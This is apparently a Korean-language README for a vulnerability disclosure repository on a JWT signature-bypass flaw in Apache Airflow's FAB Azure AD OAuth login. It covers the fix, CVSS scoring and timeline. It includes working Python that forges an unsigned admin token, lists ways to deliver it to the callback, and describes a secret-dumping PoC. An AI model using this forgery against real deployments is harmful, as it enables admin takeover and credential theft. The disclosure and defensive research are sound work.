
CVE-2026-59243에 대한 개념 증명으로, Apache Airflow FAB Auth Manager의 Azure AD OAuth 콜백에서 안전하지 않은 기본 설정으로 인한 JWT 서명 우회를 시연합니다.
English: README.md
apache-airflow-providers-fab==3.7.3Apache Airflow의 FAB(Flask App Builder) Auth Manager는 Azure AD OAuth 로그인을 처리할 때 id_token을 디코딩하는 _decode_and_validate_azure_jwt() 를 사용한다. 이 함수가 verify_signature 기본값을 False로 두고 있었다.
# providers/fab/.../override.py (신고 시점 라인 2331–2341)
def _decode_and_validate_azure_jwt(self, id_token: str) -> dict[str, str]:
verify_signature = self.oauth_remotes["azure"].client_kwargs.get(
"verify_signature", False, # ← 기본값이 False
)
if verify_signature:
# authlib으로 정상 JWK 검증하고 return
...
# 기본 경로: 서명 검증을 아예 스킵
return jwt.decode(id_token, options={"verify_signature": False})
즉, 운영자가 client_kwargs에 verify_signature: true를 명시적으로 넣지 않으면 서명 검증이 통째로 꺼진 상태로 로그인 흐름이 동작한다. 어떤 토큰이 들어와도 그 안의 claim을 그대로 사용자 신원으로 받아들인다.
바로 옆에 있는 Authentik 통합 코드는 같은 파일 안에서 기본값이 True다:
# providers/fab/.../override.py:414–416 (Authentik)
verify_signature = self.oauth_remotes["authentik"].client_kwargs.get(
"verify_signature", True, # ← 이쪽은 기본값이 True
)
같은 파일, 같은 형태의 코드에서 기본값만 반대. 이 대비가 Azure 쪽 기본값이 의도된 정책이 아니라 실수라는 걸 처음 눈치채게 해준 힌트였다.
전제는 단순하다. FAB Auth Manager + Azure AD OAuth로 배포된 Airflow, client_kwargs에 verify_signature 지정 없음. (기본 배포 그대로.)
공격자는 alg: none인 JWT를 만들어 임의의 claim을 넣는다.
import base64, json
def b64u(d):
return base64.urlsafe_b64encode(json.dumps(d).encode()).rstrip(b"=").decode()
header = b64u({"alg": "none", "typ": "JWT"})
payload = b64u({
"sub": "[email protected]",
"email": "[email protected]",
"name": "Administrator",
"roles": ["Admin"],
"iss": "https://login.microsoftonline.com/<tenant>/v2.0",
"aud": "<airflow-client-id>",
"exp": 9999999999,
})
forged = f"{header}.{payload}." # 끝의 점: 서명 부분 비어있음
이 토큰을 OAuth 콜백 (/login/azure/authorized 등 통합이 마운트된 경로)에 도달시키면 끝난다. 도달 방법 자체는 배포마다 다르다. TLS 종단 프록시 오설정을 이용한 MITM, redirect_uri 검증이 느슨한 열린 리다이렉트, 조작된 state 값으로 콜백을 직접 치는 방식 등 상황에 맞게 선택.
토큰이 콜백에 닿는 순간 FAB이 _decode_and_validate_azure_jwt를 호출하고, 기본 경로로 빠져서 claim을 그대로 세션에 얹는다. roles: ["Admin"]으로 위조했으면 Admin으로 로그인된 상태. Airflow에서 Admin은 사실상 전부다. Connection secret, Variable, Fernet 키, 새 DAG로 워커 위에서 임의 코드 실행까지.
세 곳에서 서로 다른 점수가 나왔는데, 그 자체가 흥미로운 데이터:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:HCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:Lmoderate나와 NVD 차이는 AC 하나. 내가 H로 잡았던 건 MITM 경로를 좁게 상정해서였다. NVD 분석가는 AC:L로 봤는데, "위조 id_token을 콜백에 도달시키는 것"을 (일반 OAuth 흐름 남용 포함) 평범한 공격자 능력 범위로 판정한 것. 다시 보면 AC:L이 더 방어하기 쉬운 판정이다. 서명 검증이 깨져 있는 걸 이용하는 데 반드시 on-path일 필요는 없으니까. NVD/Strix가 9.8로 잡는 이유고, 대부분의 CVE DB나 스캐너에 뜨는 게 이 점수다.
Apache의 moderate는 별개로, 자체 리스크 모델에 따른 판단이다. impact의 천장보다 "이 전제 조건이 실전에서 얼마나 흔한가"에 더 큰 가중치를 둔 계산. 9.8과 모순이 아니라, 다른 질문에 답한 것.
한 글자짜리 패치.
- verify_signature = self.oauth_remotes["azure"].client_kwargs.get("verify_signature", False)
+ verify_signature = self.oauth_remotes["azure"].client_kwargs.get("verify_signature", True)
Azure 기본값을 Authentik과 같은 True로 맞춘다. 자체 서명 JWKS를 쓰는 온프렘 Azure AD 복제본처럼 정말로 서명 검증이 필요 없는 사용자는 client_kwargs에 verify_signature: false를 명시적으로 지정해서 opt-in 하면 된다. 기본값을 insecure로 두는 것보다 훨씬 안전한 형태.
이 패치는 2026-07-07에 PR #69374 / 커밋 54259ae로 병합됐고, 2026-07-28에 apache-airflow-providers-fab==3.7.3으로 배포됐다.
즉시 업그레이드가 어려운 경우 webserver_config.py에서 명시적으로 켜기:
OAUTH_PROVIDERS = [
{
"name": "azure",
"client_kwargs": {"verify_signature": True, ...},
# ...
},
]
그와 함께 OAuth 콜백 URL을 HTTPS 전용으로 두고 redirect_uri 허용 목록을 엄격히 관리. 침해가 의심되면 Airflow Connection에 걸려있는 크레덴셜을 로테이션.
poc/ 아래 Docker + pwntools 재현 세트가 있다.
poc/server.py: 취약 경로(jwt.decode(..., options={"verify_signature": False}))만 뽑아낸 최소 Flask 앱poc/exploit_airflow_jwt.py: pwntools로 위조 JWT를 만들어 콜백을 치고, admin 뷰에서 placeholder secret을 덤프poc/Dockerfile + poc/docker-compose.yml: 타겟을 127.0.0.1:5002에 올림 (loopback bind)한 줄 실행:
cd poc/
./run.sh
공용 머신에서 돌릴 거면 docker-compose.yml의 bind 부분을 먼저 확인.
원 신고 시점과 현재 main 사이에 무관한 리팩터링이 몇 개 있어서 라인 번호가 밀렸다. 파일 경로 자체는 동일하다.
파일: providers/fab/src/airflow/providers/fab/auth_manager/security_manager/override.py
CVE-2026-59243/
├── README.md 영문
├── README.ko.md 이 파일
├── LICENSE MIT
├── check_advisory.sh advisory 공개 감시 스크립트 (재활용 목적, 지금은 정지 상태)
├── patch/fix.diff 1자 fix (신고 시점 라인 기준)
└── poc/ Docker + pwntools PoC
[email protected]MIT (LICENSE). PoC는 재현과 방어 연구 목적. 소유하지 않았거나 서면 승인을 받지 않은 시스템에 대고 실행 금지.
| 심볼 | 신고 시점 (2026-03-18) | 수정된 main (2026-07-29) |
|---|
_decode_and_validate_azure_jwt() | 2331–2341 (기본값 False, 취약) | 2428–2438 (기본값 True, 수정됨) |
_get_authentik_token_info() | 414–416 (기본값 True, 안전) | 419–420 (기본값 True, 안전) |
| 날짜 | 이벤트 |
|---|
| 2026-03-18 | [email protected]에 신고 |
| 2026-03 ~ 07 | Apache 쪽 대응 지연 (Airflow PMC 멤버가 나중에 초기 접수를 놓쳤다고 확인) |
| 2026-07-03 | 첫 회신 도착 |
| 2026-07-04 | CVE-2026-59243 할당, credit 정보 제출 |
| 2026-07-07 | Fix 병합 (커밋 54259ae, PR #69374) |
| 2026-07-28 | apache-airflow-providers-fab==3.7.3 배포 |
| 2026-07-29 | MITRE CVE record PUBLISHED, Apache advisory [email protected] 게시 |
| 2026-07-29 | 이 저장소 public 전환 |